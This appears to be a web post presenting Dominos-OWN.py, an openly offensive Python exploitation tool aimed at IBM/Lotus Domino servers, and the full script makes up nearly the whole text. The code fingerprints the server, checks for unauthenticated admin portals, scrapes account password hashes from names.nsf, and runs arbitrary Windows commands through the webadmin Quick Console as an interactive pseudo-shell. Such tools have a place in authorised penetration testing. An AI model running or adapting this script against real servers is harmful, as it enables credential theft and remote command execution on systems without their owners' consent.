Dominos-OWN is a IBM/Lotus Domino exploitation. with function:
– Accessing Domino Quick Console
– Dumping Domino account hashes
– Fingerprinting Domino server
Requirement:
– Python 2.7 for windows
– grequests, requests, urllib & BeautifulSoup4
Dominos-OWN.py Script:
#!/usr/bin/env python # Copyright (c) 2015, Brandan Geise [coldfusion] # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import argparse import cmd import grequests import re import requests import sys import urllib from bs4 import BeautifulSoup class Interactive(cmd.Cmd): """Interact with Domino Quick Console through web requests""" def __init__(self): cmd.Cmd.__init__(self) self.prompt = 'C:\Windows\System32>' self.target = target self.username = username self.password = password self.local_path = local_path def emptyline(self): pass def default(self, line): operator = '> ' self.quick_console(line, operator, self.target, self.username, self.password, self.local_path) # Handle Domino Quick Console def quick_console(self, command, operator, url, username, password, path): session = requests.Session() session.auth = (username, password) header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'DNT': '1', 'Referer': "{0}/webadmin.nsf/pgBookmarks?OpenPage".format(url), 'Connection': 'keep-alive' } # Encode command raw_command = 'load cmd /c {0} {1}"{2}Domino\\data\\domino\\html\\download\\filesets\\log.txt"'.format(command, operator, path) encoded_command = urllib.quote(raw_command, safe='') quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(url, encoded_command) response_url = "{0}/download/filesets/log.txt".format(url) # Send commands and handle cleanup send_command = session.get(quick_console_url, headers=header, verify=False) if send_command.status_code == 200: get_response = session.get(response_url, headers=header, verify=False) if get_response.status_code == 200 and '>' in operator: print get_response.text elif get_response.status_code == 200 and '>' not in operator: print 'Unable to delete outfile!' elif get_response.status_code == 404 and '>' not in operator: print 'Outfile sucessfully deleted' else: print 'Output file was not found!' do_exit else: print 'Quick Console is unavaliable!' do_exit def do_EOF(self, line): operator = '' command = 'del' self.quick_console(command, operator, self.target, self.username, self.password, self.local_path) return True def help_EOF(self): print "Use exit or quit to cleanly exit." do_exit = do_quit = do_EOF help_exit = help_quit = help_EOF # Get Domino version def fingerprint(url): version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 'download/filesets/n_LOTUS_SCRIPT.inf', 'download/filesets/l_SEARCH.inf', 'download/filesets/n_SEARCH.inf' ] for version_file in version_files: try: request = requests.get("{0}/{1}".format(url, version_file), verify=False) if request.status_code == 200: domino_version = re.search("(?i)version=([0-9].[0-9].[0-9])", request.text) if domino_version: return domino_version.group(1) else: continue except: continue return None # Check for open authentication to names.nsf and webadmin.nsf def check_portals(url): portals = ['names.nsf', 'webadmin.nsf'] for portal in portals: try: request = requests.get("{0}/{1}".format(url, portal), verify=False) if request.status_code == 200: print_good("{0}/{1} does NOT require authentication!".format(url, portal)) elif request.status_code == 401: print_warn("{0}/{1} requires authentication".format(url, portal)) else: print_error("Could not find {0}!".format(portal)) except: continue # Determine Domino file structure def check_access(url, username, password, version): session = requests.Session() session.auth = (username, password) header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36', 'Accept': '*/*', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'DNT': '1', 'Referer': "{0}/webadmin.nsf/pgBookmarks?OpenPage".format(url), 'Connection': 'keep-alive' } local_paths = ['C:\\Program Files\\IBM\\', # 9.0.1 Windows x64 'C:\\Program Files\\IBM\\Lotus\\', # 8.5.3 Windows x64 'C:\\Program Files (x86)\\IBM\\', # 9.0.1 Windows x86 'C:\\Program Files (x86)\\IBM\\Lotus\\', # 8.5.3 Windows x86 'C:\\Lotus\\' # Not sure, but just in case ] for local_path in local_paths: try: # Encode command raw_command = 'load cmd /c whoami > "{0}Domino\\data\\domino\\html\\download\\filesets\\log.txt"'.format(local_path) encoded_command = urllib.quote(raw_command, safe='') quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(url, encoded_command) response_url = "{0}/download/filesets/log.txt".format(url) # Do things... send_command = session.get(quick_console_url, headers=header, verify=False) if send_command.status_code == 200: get_response = session.get(response_url, headers=header, verify=False) if get_response.status_code == 200: get_user = re.search(".+\\\\(.+)", get_response.text) if get_user: return get_user.group(1), local_path except: break return None, None # Get user profile URLs def enum_accounts(url, username, password): accounts = [] session = requests.Session() session.auth = (username, password) for page in range(1, 100000, 30): try: pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}".format(url, page) request = session.get(pages, timeout=(30), verify=False) if request.status_code == 200: soup = BeautifulSoup(request.text, 'lxml') empty_page = soup.findAll('h2') if empty_page: break else: links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')] for link in links: match = re.search("/(([a-fA-F0-9]{32})/([a-fA-F0-9]{32}))", link) if match and match.group(1) not in accounts: accounts.append(match.group(1)) else: pass else: print_error('Not authorized, bad username or password!') sys.exit(0) except: print_error('Could not connect to Domino server!') break async_requests(accounts, url, username, password) # Asynchronously get hashes def async_requests(accounts, url, username, password): NUM_SESSIONS = 50 sessions = [requests.Session() for i in range(NUM_SESSIONS)] async_list = [] i = 0 try: for unid in accounts: profile = "{0}/names.nsf/{1}?OpenDocument".format(url, unid) action_item = grequests.get(profile, hooks={'response':get_domino_hash}, session=sessions[i % NUM_SESSIONS], auth=(username, password), verify=False ) async_list.append(action_item) i += 1 grequests.map(async_list, size=NUM_SESSIONS * 5) except KeyboardInterrupt: pass # Dump Domino hashes def get_domino_hash(response, **kwargs): domino_username = None domino_hash = None soup = BeautifulSoup(response.text, 'lxml') try: # Get account username username_params = ['$dspFullName', '$dspShortName'] for user_param in username_params: domino_username = (soup.find('input', attrs={'name':user_param}))['value'] if domino_username: break else: continue # Get account hash hash_params = ['$dspHTTPPassword', 'dspHTTPPassword', 'HTTPPassword'] for hash_param in hash_params: domino_hash = (soup.find('input', attrs={'name':hash_param}))['value'] if domino_hash: # Lotus Notes/Domino 5 Format if len(domino_hash) > 22: domino_hash = domino_hash.strip('()') break else: continue except: pass if domino_username is None or domino_hash is None: pass else: print "{0}, {1}".format(domino_username, domino_hash) def print_error(msg): print "\033[1m\033[31m[-]\033[0m {0}".format(msg) def print_status(msg): print "\033[1m\033[34m[*]\033[0m {0}".format(msg) def print_good(msg): print "\033[1m\033[32m[+]\033[0m {0}".format(msg) def print_warn(msg): print "\033[1m\033[33m[!]\033[0m {0}".format(msg) if __name__ == '__main__': parser = argparse.ArgumentParser( prog='Dominos-OWN.py', formatter_class=argparse.RawDescriptionHelpFormatter, description=(""" __________ __________ __________ | |\| | |\\ | * * ||| * * * | * || | * * ||| | * || | * * ||| * * * | * || |__________|||__________|__________|| | || `---------------------` | * * || | || | * * || |__________|| `----------` IBM/Lotus Domino OWNage """)) parser.add_argument('--url', help='Domino server URL', required=False) parser.add_argument('-u', '--username', help='Username, default: [None]', default='', required=False) parser.add_argument('-p', '--password', help='Password, default: [None]', default='', nargs='+', required=False) parser.add_argument('--hashdump', help='Dump Domino hashes', action='store_true', required=False) parser.add_argument('--quickconsole', help='Interact with Domino Quick Console', action='store_true', required=False) args = parser.parse_args() # Define variables username = args.username password = ' '.join(args.password) # Process Domino URL if args.url: url = re.search("((https?)://([a-zA-Z0-9.-]+))", args.url) if url: target = url.group(1) else: print_error("Please provide a valid URL!") sys.exit(0) else: parser.parse_args('-h'.split()) sys.exit(0) # Interact with quick console if args.quickconsole: print_status('Accessing Domino Quick Console...') version = fingerprint(target) who_am_i, local_path = check_access(target, username, password, version) if who_am_i: print_good("Running as {0}".format(who_am_i)) Interactive().cmdloop() else: print_error('Could not access Domino Quick Console!') sys.exit(0) # Dump hashes elif args.hashdump: print_status('Dumping Domino account hashes...') enum_accounts(target, username, password) # Fingerprint else: print_status('Fingerprinting Domino server...') version = fingerprint(target) print_good("Domino version: {0}".format(version)) check_portals(target)